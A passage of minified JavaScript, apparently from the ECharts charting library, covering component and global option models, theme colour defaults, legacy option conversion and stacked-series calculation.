e&&t&&ip(op,function(n){xt(e,n)&&(t[n]=e[n])}),t}({},t)}var gp=Zo(),vp=function(t){function e(e,n,r){var i=t.call(this,e,n,r)||this;return i.uid=ef("ec_cpt_model"),i}var r;return n(e,t),e.prototype.init=function(t,e,n){this.mergeDefaultAndTheme(t,n)},e.prototype.mergeDefaultAndTheme=function(t,e){var n=fp(this),r=n?dp(t):{};C(t,e.getTheme().get(this.mainType)),C(t,this.getDefaultOption()),n&&pp(t,r,n)},e.prototype.mergeOption=function(t,e){C(this.option,t,!0);var n=fp(this);n&&pp(this.option,t,n)},e.prototype.optionUpdated=function(t,e){},e.prototype.getDefaultOption=function(){var t=this.constructor;if(!function(t){return!(!t||!t[ga])}(t))return t.defaultOption;var e=gp(this);if(!e.defaultOption){for(var n=[],r=t;r;){var i=r.prototype.defaultOption;i&&n.push(i),r=r.superClass}for(var o={},a=n.length-1;a>=0;a--)o=C(o,n[a],!0);e.defaultOption=o}return e.defaultOption},e.prototype.getReferringComponents=function(t,e){var n=t+"Index",r=t+"Id";return Jo(this.ecModel,t,{index:this.get(n,!0),id:this.get(r,!0)},e)},e.prototype.getBoxLayoutParams=function(){return e=!1,{left:(t=this).getShallow("left",e),top:t.getShallow("top",e),right:t.getShallow("right",e),bottom:t.getShallow("bottom",e),width:t.getShallow("width",e),height:t.getShallow("height",e)};var t,e},e.prototype.getZLevelKey=function(){return""},e.prototype.setZLevel=function(t){this.option.zlevel=t},e.protoInitialize=((r=e.prototype).type="component",r.id="",r.name="",r.mainType="",r.subType="",void(r.componentIndex=0)),e}(Jh);ma(vp,Jh),wa(vp),function(t){var e={};t.registerSubTypeDefaulter=function(t,n){var r=va(t);e[r.main]=n},t.determineSubType=function(n,r){var i=r.type;if(!i){var o=va(n).main;t.hasSubTypes(n)&&e[o]&&(i=e[o](r))}return i}}(vp),function(t,e){function n(t,e){return t[e]||(t[e]={predecessor:[],successor:[]}),t[e]}t.topologicalTravel=function(t,r,i,o){if(t.length){var a=function(t){var r={},i=[];return E(t,function(o){var a=n(r,o),s=function(t,e){var n=[];return E(t,function(t){P(e,t)>=0&&n.push(t)}),n}(a.originalDeps=e(o),t);a.entryCount=s.length,0===a.entryCount&&i.push(o),E(s,function(t){P(a.predecessor,t)<0&&a.predecessor.push(t);var e=n(r,t);P(e.successor,t)<0&&e.successor.push(o)})}),{graph:r,noEntryList:i}}(r),s=a.graph,l=a.noEntryList,u={};for(E(t,function(t){u[t]=!0});l.length;){var c=l.pop(),h=s[c],f=!!u[c];f&&(i.call(o,c,h.originalDeps.slice()),delete u[c]),E(h.successor,f?d:p)}E(u,function(){var t="";throw new Error(t)})}function p(t){s[t].entryCount--,0===s[t].entryCount&&l.push(t)}function d(t){u[t]=!0,p(t)}}}(vp,function(t){var e=[];E(vp.getClassesByMainType(t),function(t){e=e.concat(t.dependencies||t.prototype.dependencies||[])}),e=B(e,function(t){return va(t).main}),"dataset"!==t&&P(e,"dataset")<=0&&e.unshift("dataset");return e});var yp={color:{},darkColor:{},size:{}},mp=yp.color={theme:["#5070dd","#b6d634","#505372","#ff994d","#0ca8df","#ffd10a","#fb628b","#785db0","#3fbe95"],neutral00:"#fff",neutral05:"#f4f7fd",neutral10:"#e8ebf0",neutral15:"#dbdee4",neutral20:"#cfd2d7",neutral25:"#c3c5cb",neutral30:"#b7b9be",neutral35:"#aaacb2",neutral40:"#9ea0a5",neutral45:"#929399",neutral50:"#86878c",neutral55:"#797b7f",neutral60:"#6d6e73",neutral65:"#616266",neutral70:"#54555a",neutral75:"#48494d",neutral80:"#3c3c41",neutral85:"#303034",neutral90:"#232328",neutral95:"#17171b",neutral99:"#000",accent05:"#eff1f9",accent10:"#e0e4f2",accent15:"#d0d6ec",accent20:"#c0c9e6",accent25:"#b1bbdf",accent30:"#a1aed9",accent35:"#91a0d3",accent40:"#8292cc",accent45:"#7285c6",accent50:"#6578ba",accent55:"#5c6da9",accent60:"#536298",accent65:"#4a5787",accent70:"#404c76",accent75:"#374165",accent80:"#2e3654",accent85:"#252b43",accent90:"#1b2032",accent95:"#121521",transparent:"rgba(0,0,0,0)",highlight:"rgba(255,231,130,0.8)"};for(var _p in I(mp,{primary:mp.neutral80,secondary:mp.neutral70,tertiary:mp.neutral60,quaternary:mp.neutral50,disabled:mp.neutral20,border:mp.neutral30,borderTint:mp.neutral20,borderShade:mp.neutral40,background:mp.neutral05,backgroundTint:"rgba(234,237,245,0.5)",backgroundTransparent:"rgba(255,255,255,0)",backgroundShade:mp.neutral10,shadow:"rgba(0,0,0,0.2)",shadowTint:"rgba(129,130,136,0.2)",axisLine:mp.neutral70,axisLineTint:mp.neutral40,axisTick:mp.neutral70,axisTickMinor:mp.neutral60,axisLabel:mp.neutral70,axisSplitLine:mp.neutral15,axisMinorSplitLine:mp.neutral05}),mp)if(mp.hasOwnProperty(_p)){var xp=mp[_p];"theme"===_p?yp.darkColor.theme=mp.theme.slice():"highlight"===_p?yp.darkColor.highlight="rgba(255,231,130,0.4)":0===_p.indexOf("accent")?yp.darkColor[_p]=lr(xp,null,function(t){return.5*t},function(t){return Math.min(1,1.3-t)}):yp.darkColor[_p]=lr(xp,null,function(t){return.9*t},function(t){return 1-Math.pow(t,1.5)})}yp.size={xxs:2,xs:5,s:10,m:15,l:20,xl:30,xxl:40,xxxl:50};var bp="";"undefined"!=typeof navigator&&(bp=navigator.platform||"");var wp="rgba(0, 0, 0, 0.2)",Sp=yp.color.theme[0],Mp=lr(Sp,null,null,.9),Tp={darkMode:"auto",colorBy:"series",color:yp.color.theme,gradientColor:[Mp,Sp],aria:{decal:{decals:[{color:wp,dashArrayX:[1,0],dashArrayY:[2,5],symbolSize:1,rotation:Math.PI/6},{color:wp,symbol:"circle",dashArrayX:[[8,8],[0,8,8,0]],dashArrayY:[6,0],symbolSize:.8},{color:wp,dashArrayX:[1,0],dashArrayY:[4,3],rotation:-Math.PI/4},{color:wp,dashArrayX:[[6,6],[0,6,6,0]],dashArrayY:[6,0]},{color:wp,dashArrayX:[[1,0],[1,6]],dashArrayY:[1,0,6,0],rotation:Math.PI/4},{color:wp,symbol:"triangle",dashArrayX:[[9,9],[0,9,9,0]],dashArrayY:[7,2],symbolSize:.75}]}},textStyle:{fontFamily:bp.match(/^Win/)?"Microsoft YaHei":"sans-serif",fontSize:12,fontStyle:"normal",fontWeight:"normal"},blendMode:null,stateAnimation:{duration:300,easing:"cubicOut"},animation:"auto",animationDuration:1e3,animationDurationUpdate:500,animationEasing:"cubicInOut",animationEasingUpdate:"cubicInOut",animationThreshold:2e3,progressiveThreshold:3e3,progressive:400,hoverLayerThreshold:3e3,useUTC:!1},kp=1,Cp=2,Ip=3,Dp=Zo();function Ap(t,e,n){var r={},i=Pp(e);if(!i||!t)return r;var o,a,s=[],l=[],u=e.ecModel,c=Dp(u).datasetMap,h=i.uid+"_"+n.seriesLayoutBy;E(t=t.slice(),function(e,n){var i=j(e)?e:t[n]={name:e};"ordinal"===i.type&&null==o&&(o=n,a=d(i)),r[i.name]=[]});var f=c.get(h)||c.set(h,{categoryWayDim:a,valueWayDim:0});function p(t,e,n){for(var r=0;r<n;r++)t.push(e+r)}function d(t){var e=t.dimsDef;return e?e.length:1}return E(t,function(t,e){var n=t.name,i=d(t);if(null==o){var a=f.valueWayDim;p(r[n],a,i),p(l,a,i),f.valueWayDim+=i}else if(o===e)p(r[n],0,i),p(s,0,i);else{a=f.categoryWayDim;p(r[n],a,i),p(l,a,i),f.categoryWayDim+=i}}),s.length&&(r.itemName=s),l.length&&(r.seriesName=l),r}function Lp(t,e,n){var r={};if(!Pp(t))return r;var i,o=e.sourceFormat,a=e.dimensionsDefine;o!==Nl&&o!==El||E(a,function(t,e){"name"===(j(t)?t.name:t)&&(i=e)});var s=function(){for(var t={},r={},s=[],l=0,u=Math.min(5,n);l<u;l++){var c=Rp(e.data,o,e.seriesLayoutBy,a,e.startIndex,l);s.push(c);var h=c===Ip;if(h&&null==t.v&&l!==i&&(t.v=l),(null==t.n||t.n===t.v||!h&&s[t.n]===Ip)&&(t.n=l),f(t)&&s[t.n]!==Ip)return t;h||(c===Cp&&null==r.v&&l!==i&&(r.v=l),null!=r.n&&r.n!==r.v||(r.n=l))}function f(t){return null!=t.v&&null!=t.n}return f(t)?t:f(r)?r:null}();if(s){r.value=[s.v];var l=null!=i?i:s.n;r.itemName=[l],r.seriesName=[l]}return r}function Pp(t){if(!t.get("data",!0))return Jo(t.ecModel,"dataset",{index:t.get("datasetIndex",!0),id:t.get("datasetId",!0)},Qo).models[0]}function Op(t,e){return Rp(t.data,t.sourceFormat,t.seriesLayoutBy,t.dimensionsDefine,t.startIndex,e)}function Rp(t,e,n,r,i,o){var a,s,l;if($(t))return Ip;if(r){var u=r[o];j(u)?(s=u.name,l=u.type):Y(u)&&(s=u)}if(null!=l)return"ordinal"===l?kp:Ip;if(e===Rl){var c=t;if(n===Vl){for(var h=c[o],f=0;f<(h||[]).length&&f<5;f++)if(null!=(a=m(h[i+f])))return a}else for(f=0;f<c.length&&f<5;f++){var p=c[i+f];if(p&&null!=(a=m(p[o])))return a}}else if(e===Nl){var d=t;if(!s)return Ip;for(f=0;f<d.length&&f<5;f++){if((v=d[f])&&null!=(a=m(v[s])))return a}}else if(e===El){if(!s)return Ip;if(!(h=t[s])||$(h))return Ip;for(f=0;f<h.length&&f<5;f++)if(null!=(a=m(h[f])))return a}else if(e===Ol){var g=t;for(f=0;f<g.length&&f<5;f++){var v,y=Fo(v=g[f]);if(!U(y))return Ip;if(null!=(a=m(y[o])))return a}}function m(t){var e=Y(t);return null!=t&&isFinite(Number(t))&&""!==t?e?Cp:Ip:e&&"-"!==t?kp:void 0}return Ip}var Np=vt();var Ep,Bp,zp,Fp=Zo(),Vp=Zo(),Hp=function(){function t(){}return t.prototype.getColorFromPalette=function(t,e,n){var r=Eo(this.get("color",!0)),i=this.get("colorLayer",!0);return Gp(this,Fp,r,i,t,e,n)},t.prototype.clearColorPalette=function(){!function(t,e){e(t).paletteIdx=0,e(t).paletteNameMap={}}(this,Fp)},t}();function Wp(t,e,n,r){var i=Eo(t.get(["aria","decal","decals"]));return Gp(t,Vp,i,null,e,n,r)}function Gp(t,e,n,r,i,o,a){var s=e(o=o||t),l=s.paletteIdx||0,u=s.paletteNameMap=s.paletteNameMap||{};if(u.hasOwnProperty(i))return u[i];var c=null!=a&&r?function(t,e){for(var n=t.length,r=0;r<n;r++)if(t[r].length>e)return t[r];return t[n-1]}(r,a):n;if((c=c||n)&&c.length){var h=c[l];return i&&(u[i]=h),s.paletteIdx=(l+1)%c.length,h}}var Up="\0_ec_inner";var Xp=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n(e,t),e.prototype.init=function(t,e,n,r,i,o){r=r||{},this.option=null,this._theme=new Jh(r),this._locale=new Jh(i),this._optionManager=o},e.prototype.setOption=function(t,e,n){var r=Zp(e);this._optionManager.setOption(t,n,r),this._resetOption(null,r)},e.prototype.resetOption=function(t,e){return this._resetOption(t,Zp(e))},e.prototype._resetOption=function(t,e){var n=!1,r=this._optionManager;if(!t||"recreate"===t){var i=r.mountOption("recreate"===t);0,this.option&&"recreate"!==t?(this.restoreData(),this._mergeOption(i,e)):zp(this,i),n=!0}if("timeline"!==t&&"media"!==t||this.restoreData(),!t||"recreate"===t||"timeline"===t){var o=r.getTimelineOption(this);o&&(n=!0,this._mergeOption(o,e))}if(!t||"recreate"===t||"media"===t){var a=r.getMediaOption(this);a.length&&E(a,function(t){n=!0,this._mergeOption(t,e)},this)}return n},e.prototype.mergeOption=function(t){this._mergeOption(t,null)},e.prototype._mergeOption=function(t,e){var n=this.option,r=this._componentsMap,i=this._componentsCount,o=[],a=vt(),s=e&&e.replaceMergeMainTypeMap;Dp(this).datasetMap=vt(),E(t,function(t,e){null!=t&&(vp.hasClass(e)?e&&(o.push(e),a.set(e,!0)):n[e]=null==n[e]?k(t):C(n[e],t,!0))}),s&&s.each(function(t,e){vp.hasClass(e)&&!a.get(e)&&(o.push(e),a.set(e,!0))}),vp.topologicalTravel(o,vp.getAllClassMainTypes(),function(e){var o=function(t,e,n){var r=Np.get(e);if(!r)return n;var i=r(t);return i?n.concat(i):n}(this,e,Eo(t[e])),a=r.get(e),l=a?s&&s.get(e)?"replaceMerge":"normalMerge":"replaceAll",u=Ho(a,o,l);(function(t,e,n){E(t,function(t){var r=t.newOption;j(r)&&(t.keyInfo.mainType=e,t.keyInfo.subType=function(t,e,n,r){return e.type?e.type:n?n.subType:r.determineSubType(t,e)}(e,r,t.existing,n))})})(u,e,vp),n[e]=null,r.set(e,null),i.set(e,0);var c,h=[],f=[],p=0;E(u,function(t,n){var r=t.existing,i=t.newOption;if(i){var o="series"===e,a=vp.getClass(e,t.keyInfo.subType,!o);if(!a)return;if("tooltip"===e){if(c)return void 0;c=!0}if(r&&r.constructor===a)r.name=t.keyInfo.name,r.mergeOption(i,this),r.optionUpdated(i,!1);else{var s=I({componentIndex:n},t.keyInfo);I(r=new a(i,this,this,s),s),t.brandNew&&(r.__requireNewView=!0),r.init(i,this,this),r.optionUpdated(null,!0)}}else r&&(r.mergeOption({},this),r.optionUpdated({},!1));r?(h.push(r.option),f.push(r),p++):(h.push(void 0),f.push(void 0))},this),n[e]=h,r.set(e,f),i.set(e,p),"series"===e&&Ep(this)},this),this._seriesIndices||Ep(this)},e.prototype.getOption=function(){var t=k(this.option);return E(t,function(e,n){if(vp.hasClass(n)){for(var r=Eo(e),i=r.length,o=!1,a=i-1;a>=0;a--)r[a]&&!Yo(r[a])?o=!0:(r[a]=null,!o&&i--);r.length=i,t[n]=r}}),delete t[Up],t},e.prototype.setTheme=function(t){this._theme=new Jh(t),this._resetOption("recreate",null)},e.prototype.getTheme=function(){return this._theme},e.prototype.getLocaleModel=function(){return this._locale},e.prototype.setUpdatePayload=function(t){this._payload=t},e.prototype.getUpdatePayload=function(){return this._payload},e.prototype.getComponent=function(t,e){var n=this._componentsMap.get(t);if(n){var r=n[e||0];if(r)return r;if(null==e)for(var i=0;i<n.length;i++)if(n[i])return n[i]}},e.prototype.queryComponents=function(t){var e=t.mainType;if(!e)return[];var n,r=t.index,i=t.id,o=t.name,a=this._componentsMap.get(e);return a&&a.length?(null!=r?(n=[],E(Eo(r),function(t){a[t]&&n.push(a[t])})):n=null!=i?Yp("id",i,a):null!=o?Yp("name",o,a):F(a,function(t){return!!t}),qp(n,t)):[]},e.prototype.findComponents=function(t){var e,n,r,i,o,a=t.query,s=t.mainType,l=(n=s+"Index",r=s+"Id",i=s+"Name",!(e=a)||null==e[n]&&null==e[r]&&null==e[i]?null:{mainType:s,index:e[n],id:e[r],name:e[i]}),u=l?this.queryComponents(l):F(this._componentsMap.get(s),function(t){return!!t});return o=qp(u,t),t.filter?F(o,t.filter):o},e.prototype.eachComponent=function(t,e,n){var r=this._componentsMap;if(X(t)){var i=e,o=t;r.each(function(t,e){for(var n=0;t&&n<t.length;n++){var r=t[n];r&&o.call(i,e,r,r.componentIndex)}})}else for(var a=Y(t)?r.get(t):j(t)?this.findComponents(t):null,s=0;a&&s<a.length;s++){var l=a[s];l&&e.call(n,l,l.componentIndex)}},e.prototype.getSeriesByName=function(t){var e=Uo(t,null);return F(this._componentsMap.get("series"),function(t){return!!t&&null!=e&&t.name===e})},e.prototype.getSeriesByIndex=function(t){return this._componentsMap.get("series")[t]},e.prototype.getSeriesByType=function(t){return F(this._componentsMap.get("series"),function(e){return!!e&&e.subType===t})},e.prototype.getSeries=function(){return F(this._componentsMap.get("series"),function(t){return!!t})},e.prototype.getSeriesCount=function(){return this._componentsCount.get("series")},e.prototype.eachSeries=function(t,e){Bp(this),E(this._seriesIndices,function(n){var r=this._componentsMap.get("series")[n];t.call(e,r,n)},this)},e.prototype.eachRawSeries=function(t,e){E(this._componentsMap.get("series"),function(n){n&&t.call(e,n,n.componentIndex)})},e.prototype.eachSeriesByType=function(t,e,n){Bp(this),E(this._seriesIndices,function(r){var i=this._componentsMap.get("series")[r];i.subType===t&&e.call(n,i,r)},this)},e.prototype.eachRawSeriesByType=function(t,e,n){return E(this.getSeriesByType(t),e,n)},e.prototype.isSeriesFiltered=function(t){return Bp(this),null==this._seriesIndicesMap.get(t.componentIndex)},e.prototype.getCurrentSeriesIndices=function(){return(this._seriesIndices||[]).slice()},e.prototype.filterSeries=function(t,e){Bp(this);var n=[];E(this._seriesIndices,function(r){var i=this._componentsMap.get("series")[r];t.call(e,i,r)&&n.push(r)},this),this._seriesIndices=n,this._seriesIndicesMap=vt(n)},e.prototype.restoreData=function(t){Ep(this);var e=this._componentsMap,n=[];e.each(function(t,e){vp.hasClass(e)&&n.push(e)}),vp.topologicalTravel(n,vp.getAllClassMainTypes(),function(n){E(e.get(n),function(e){!e||"series"===n&&function(t,e){if(e){var n=e.seriesIndex,r=e.seriesId,i=e.seriesName;return null!=n&&t.componentIndex!==n||null!=r&&t.id!==r||null!=i&&t.name!==i}}(e,t)||e.restoreData()})})},e.internalField=(Ep=function(t){var e=t._seriesIndices=[];E(t._componentsMap.get("series"),function(t){t&&e.push(t.componentIndex)}),t._seriesIndicesMap=vt(e)},Bp=function(t){},void(zp=function(t,e){t.option={},t.option[Up]=1,t._componentsMap=vt({series:[]}),t._componentsCount=vt();var n=e.aria;j(n)&&null==n.enabled&&(n.enabled=!0),function(t,e){var n=t.color&&!t.colorLayer;E(e,function(e,r){"colorLayer"===r&&n||"color"===r&&t.color||vp.hasClass(r)||("object"==typeof e?t[r]=t[r]?C(t[r],e,!1):k(e):null==t[r]&&(t[r]=e))})}(e,t._theme.option),C(e,Tp,!1),t._mergeOption(e,null)})),e}(Jh);function Yp(t,e,n){if(U(e)){var r=vt();return E(e,function(t){null!=t&&(null!=Uo(t,null)&&r.set(t,!0))}),F(n,function(e){return e&&r.get(e[t])})}var i=Uo(e,null);return F(n,function(e){return e&&null!=i&&e[t]===i})}function qp(t,e){return e.hasOwnProperty("subType")?F(t,function(t){return t&&t.subType===e.subType}):t}function Zp(t){var e=vt();return t&&E(Eo(t.replaceMerge),function(t){e.set(t,!0)}),{replaceMergeMainTypeMap:e}}R(Xp,Hp);var jp=/^(min|max)?(.+)$/,Kp=function(){function t(t){this._timelineOptions=[],this._mediaList=[],this._currentMediaIndices=[],this._api=t}return t.prototype.setOption=function(t,e,n){t&&(E(Eo(t.series),function(t){t&&t.data&&$(t.data)&&ht(t.data)}),E(Eo(t.dataset),function(t){t&&t.source&&$(t.source)&&ht(t.source)})),t=k(t);var r=this._optionBackup,i=function(t,e,n){var r,i,o=[],a=t.baseOption,s=t.timeline,l=t.options,u=t.media,c=!!t.media,h=!!(l||s||a&&a.timeline);a?(i=a).timeline||(i.timeline=s):((h||c)&&(t.options=t.media=null),i=t);c&&U(u)&&E(u,function(t){t&&t.option&&(t.query?o.push(t):r||(r=t))});function f(t){E(e,function(e){e(t,n)})}return f(i),E(l,function(t){return f(t)}),E(o,function(t){return f(t.option)}),{baseOption:i,timelineOptions:l||[],mediaDefault:r,mediaList:o}}(t,e,!r);this._newBaseOption=i.baseOption,r?(i.timelineOptions.length&&(r.timelineOptions=i.timelineOptions),i.mediaList.length&&(r.mediaList=i.mediaList),i.mediaDefault&&(r.mediaDefault=i.mediaDefault)):this._optionBackup=i},t.prototype.mountOption=function(t){var e=this._optionBackup;return this._timelineOptions=e.timelineOptions,this._mediaList=e.mediaList,this._mediaDefault=e.mediaDefault,this._currentMediaIndices=[],k(t?e.baseOption:this._newBaseOption)},t.prototype.getTimelineOption=function(t){var e,n=this._timelineOptions;if(n.length){var r=t.getComponent("timeline");r&&(e=k(n[r.getCurrentIndex()]))}return e},t.prototype.getMediaOption=function(t){var e,n,r=this._api.getWidth(),i=this._api.getHeight(),o=this._mediaList,a=this._mediaDefault,s=[],l=[];if(!o.length&&!a)return l;for(var u=0,c=o.length;u<c;u++)$p(o[u].query,r,i)&&s.push(u);return!s.length&&a&&(s=[-1]),s.length&&(e=s,n=this._currentMediaIndices,e.join(",")!==n.join(","))&&(l=B(s,function(t){return k(-1===t?a.option:o[t].option)})),this._currentMediaIndices=s,l},t}();function $p(t,e,n){var r={width:e,height:n,aspectratio:e/n},i=!0;return E(t,function(t,e){var n=e.match(jp);if(n&&n[1]&&n[2]){var o=n[1],a=n[2].toLowerCase();(function(t,e,n){return"min"===n?t>=e:"max"===n?t<=e:t===e})(r[a],t,o)||(i=!1)}}),i}var Qp=E,Jp=j,td=["areaStyle","lineStyle","nodeStyle","linkStyle","chordStyle","label","labelLine"];function ed(t){var e=t&&t.itemStyle;if(e)for(var n=0,r=td.length;n<r;n++){var i=td[n],o=e.normal,a=e.emphasis;o&&o[i]&&(t[i]=t[i]||{},t[i].normal?C(t[i].normal,o[i]):t[i].normal=o[i],o[i]=null),a&&a[i]&&(t[i]=t[i]||{},t[i].emphasis?C(t[i].emphasis,a[i]):t[i].emphasis=a[i],a[i]=null)}}function nd(t,e,n){if(t&&t[e]&&(t[e].normal||t[e].emphasis)){var r=t[e].normal,i=t[e].emphasis;r&&(n?(t[e].normal=t[e].emphasis=null,A(t[e],r)):t[e]=r),i&&(t.emphasis=t.emphasis||{},t.emphasis[e]=i,i.focus&&(t.emphasis.focus=i.focus),i.blurScope&&(t.emphasis.blurScope=i.blurScope))}}function rd(t){nd(t,"itemStyle"),nd(t,"lineStyle"),nd(t,"areaStyle"),nd(t,"label"),nd(t,"labelLine"),nd(t,"upperLabel"),nd(t,"edgeLabel")}function id(t,e){var n=Jp(t)&&t[e],r=Jp(n)&&n.textStyle;if(r){0;for(var i=0,o=zo.length;i<o;i++){var a=zo[i];r.hasOwnProperty(a)&&(n[a]=r[a])}}}function od(t){t&&(rd(t),id(t,"label"),t.emphasis&&id(t.emphasis,"label"))}function ad(t){return U(t)?t:t?[t]:[]}function sd(t){return(U(t)?t[0]:t)||{}}function ld(t,e){Qp(ad(t.series),function(t){Jp(t)&&function(t){if(Jp(t)){ed(t),rd(t),id(t,"label"),id(t,"upperLabel"),id(t,"edgeLabel"),t.emphasis&&(id(t.emphasis,"label"),id(t.emphasis,"upperLabel"),id(t.emphasis,"edgeLabel"));var e=t.markPoint;e&&(ed(e),od(e));var n=t.markLine;n&&(ed(n),od(n));var r=t.markArea;r&&od(r);var i=t.data;if("graph"===t.type){i=i||t.nodes;var o=t.links||t.edges;if(o&&!$(o))for(var a=0;a<o.length;a++)od(o[a]);E(t.categories,function(t){rd(t)})}if(i&&!$(i))for(a=0;a<i.length;a++)od(i[a]);if((e=t.markPoint)&&e.data){var s=e.data;for(a=0;a<s.length;a++)od(s[a])}if((n=t.markLine)&&n.data){var l=n.data;for(a=0;a<l.length;a++)U(l[a])?(od(l[a][0]),od(l[a][1])):od(l[a])}"gauge"===t.type?(id(t,"axisLabel"),id(t,"title"),id(t,"detail")):"treemap"===t.type?(nd(t.breadcrumb,"itemStyle"),E(t.levels,function(t){rd(t)})):"tree"===t.type&&rd(t.leaves)}}(t)});var n=["xAxis","yAxis","radiusAxis","angleAxis","singleAxis","parallelAxis","radar"];e&&n.push("valueAxis","categoryAxis","logAxis","timeAxis"),Qp(n,function(e){Qp(ad(t[e]),function(t){t&&(id(t,"axisLabel"),id(t.axisPointer,"label"))})}),Qp(ad(t.parallel),function(t){var e=t&&t.parallelAxisDefault;id(e,"axisLabel"),id(e&&e.axisPointer,"label")}),Qp(ad(t.calendar),function(t){nd(t,"itemStyle"),id(t,"dayLabel"),id(t,"monthLabel"),id(t,"yearLabel")}),Qp(ad(t.radar),function(t){id(t,"name"),t.name&&null==t.axisName&&(t.axisName=t.name,delete t.name),null!=t.nameGap&&null==t.axisNameGap&&(t.axisNameGap=t.nameGap,delete t.nameGap)}),Qp(ad(t.geo),function(t){Jp(t)&&(od(t),Qp(ad(t.regions),function(t){od(t)}))}),Qp(ad(t.timeline),function(t){od(t),nd(t,"label"),nd(t,"itemStyle"),nd(t,"controlStyle",!0);var e=t.data;U(e)&&E(e,function(t){j(t)&&(nd(t,"label"),nd(t,"itemStyle"))})}),Qp(ad(t.toolbox),function(t){nd(t,"iconStyle"),Qp(t.feature,function(t){nd(t,"iconStyle")})}),id(sd(t.axisPointer),"label"),id(sd(t.tooltip).axisPointer,"label")}function ud(t){t&&E(cd,function(e){e[0]in t&&!(e[1]in t)&&(t[e[1]]=t[e[0]])})}var cd=[["x","left"],["y","top"],["x2","right"],["y2","bottom"]],hd=["grid","geo","parallel","legend","toolbox","title","visualMap","dataZoom","timeline"],fd=[["borderRadius","barBorderRadius"],["borderColor","barBorderColor"],["borderWidth","barBorderWidth"]];function pd(t){var e=t&&t.itemStyle;if(e)for(var n=0;n<fd.length;n++){var r=fd[n][1],i=fd[n][0];null!=e[r]&&(e[i]=e[r])}}function dd(t){t&&"edge"===t.alignTo&&null!=t.margin&&null==t.edgeDistance&&(t.edgeDistance=t.margin)}function gd(t){t&&t.downplay&&!t.blur&&(t.blur=t.downplay)}function vd(t,e){if(t)for(var n=0;n<t.length;n++)e(t[n]),t[n]&&vd(t[n].children,e)}function yd(t,e){ld(t,e),t.series=Eo(t.series),E(t.series,function(t){if(j(t)){var e=t.type;if("line"===e)null!=t.clipOverflow&&(t.clip=t.clipOverflow);else if("pie"===e||"gauge"===e){if(null!=t.clockWise&&(t.clockwise=t.clockWise),dd(t.label),(i=t.data)&&!$(i))for(var n=0;n<i.length;n++)dd(i[n]);null!=t.hoverOffset&&(t.emphasis=t.emphasis||{},(t.emphasis.scaleSize=null)&&(t.emphasis.scaleSize=t.hoverOffset))}else if("gauge"===e){var r=function(t,e){for(var n=e.split(","),r=t,i=0;i<n.length&&null!=(r=r&&r[n[i]]);i++);return r}(t,"pointer.color");null!=r&&function(t,e,n,r){for(var i,o=e.split(","),a=t,s=0;s<o.length-1;s++)null==a[i=o[s]]&&(a[i]={}),a=a[i];(r||null==a[o[s]])&&(a[o[s]]=n)}(t,"itemStyle.color",r)}else if("bar"===e){var i;if(pd(t),pd(t.backgroundStyle),pd(t.emphasis),(i=t.data)&&!$(i))for(n=0;n<i.length;n++)"object"==typeof i[n]&&(pd(i[n]),pd(i[n]&&i[n].emphasis))}else if("sunburst"===e){var o=t.highlightPolicy;o&&(t.emphasis=t.emphasis||{},t.emphasis.focus||(t.emphasis.focus=o)),gd(t),vd(t.data,gd)}else"graph"===e||"sankey"===e?function(t){t&&null!=t.focusNodeAdjacency&&(t.emphasis=t.emphasis||{},null==t.emphasis.focus&&(t.emphasis.focus="adjacency"))}(t):"map"===e&&(t.mapType&&!t.map&&(t.map=t.mapType),t.mapLocation&&A(t,t.mapLocation));null!=t.hoverAnimation&&(t.emphasis=t.emphasis||{},t.emphasis&&null==t.emphasis.scale&&(t.emphasis.scale=t.hoverAnimation)),ud(t)}}),t.dataRange&&(t.visualMap=t.dataRange),E(hd,function(e){var n=t[e];n&&(U(n)||(n=[n]),E(n,function(t){ud(t)}))})}var md=pa(function(t){var e=vt();t.eachSeries(function(t){var n=t.get("stack");if(n){var r=e.get(n)||e.set(n,[]),i=t.getData(),o={stackResultDimension:i.getCalculationInfo("stackResultDimension"),stackedOverDimension:i.getCalculationInfo("stackedOverDimension"),stackedDimension:i.getCalculationInfo("stackedDimension"),stackedByDimension:i.getCalculationInfo("stackedByDimension"),isStackedByIndex:i.getCalculationInfo("isStackedByIndex"),data:i,seriesModel:t};if(!o.stackedDimension||!o.isStackedByIndex&&!o.stackedByDimension)return;r.push(o)}}),e.each(function(t){0!==t.length&&("seriesDesc"===(t[0].seriesModel.get("stackOrder")||"seriesAsc")&&t.reverse(),E(t,function(e,n){e.data.setCalculationInfo("stackedOnSeries",n>0?t[n-1].seriesModel:null)}),function(t){E(t,function(e,n){var r=[],i=[NaN,NaN],o=[e.stackResultDimension,e.stackedOverDimension],a=e.data,s=e.isStackedByIndex,l=e.seriesModel.get("stackStrategy")||"samesign";a.modify(o,function(o,u,c){var h,f,p=a.get(e.stackedDimension,c);if(isNaN(p))return i;s?f=a.getRawIndex(c):h=a.get(e.stackedByDimension,c);for(var d=NaN,g=n-1;g>=0;g--){var v=t[g];if(s||(f=v.data.rawIndexOf(v.stackedByDimension,h)),f>=0){var y=v.data.getByRawIndex(v.stackResultDimension,f);if("all"===l||"positive"===l&&y>0||"negative"===l&&y<0||"samesign"===l&&p>=0&&y>0||"samesign"===l&&p<=0&&y<0){p=fo(p,y),d=y;break}}}return r[0]=p,r[1]=d,r})})}(t))})});var _d,xd,bd,wd,Sd,Md,Td=function(t){this.data=t.data||(t.sourceFormat===El?{}:[]),this.sourceFormat=t.sourceFormat||zl,this.seriesLayoutBy=t.seriesLayoutBy||Fl,this.startIndex=t.startIndex||0,this.dimensionsDetectedCount=t.dimensionsDetectedCount,this.metaRawOption=t.metaRawOption;var e=this.dimensionsDefine=t.dimensionsDefine;if(e)for(var n=0;n<e.length;n++){var r=e[n];null==r.type&&Op(this,n)===kp&&(r.type="ordinal")}};function kd(t){return t instanceof Td}function Cd(t,e,n){n=n||Dd(t);var r=e.seriesLayoutBy,i=function(t,e,n,r,i){var o,a;if(!t)return{dimensionsDefine:Ad(i),startIndex:a,dimensionsDetectedCount:o};if(e===Rl){var s=t;"auto"===r||null==r?Ld(function(t){null!=t&&"-"!==t&&(Y(t)?null==a&&(a=1):a=0)},n,s,10):a=Z(r)?r:r?1:0,i||1!==a||(i=[],Ld(function(t,e){i[e]=null!=t?t+"":""},n,s,1/0)),o=i?i.length:n===Vl?s.length:s[0]?s[0].length:null}else if(e===Nl)i||(i=function(t){var e,n=0;for(;n<t.length&&!(e=t[n++]););if(e)return H(e)}(t));else if(e===El)i||(i=[],E(t,function(t,e){i.push(e)}));else if(e===Ol){var 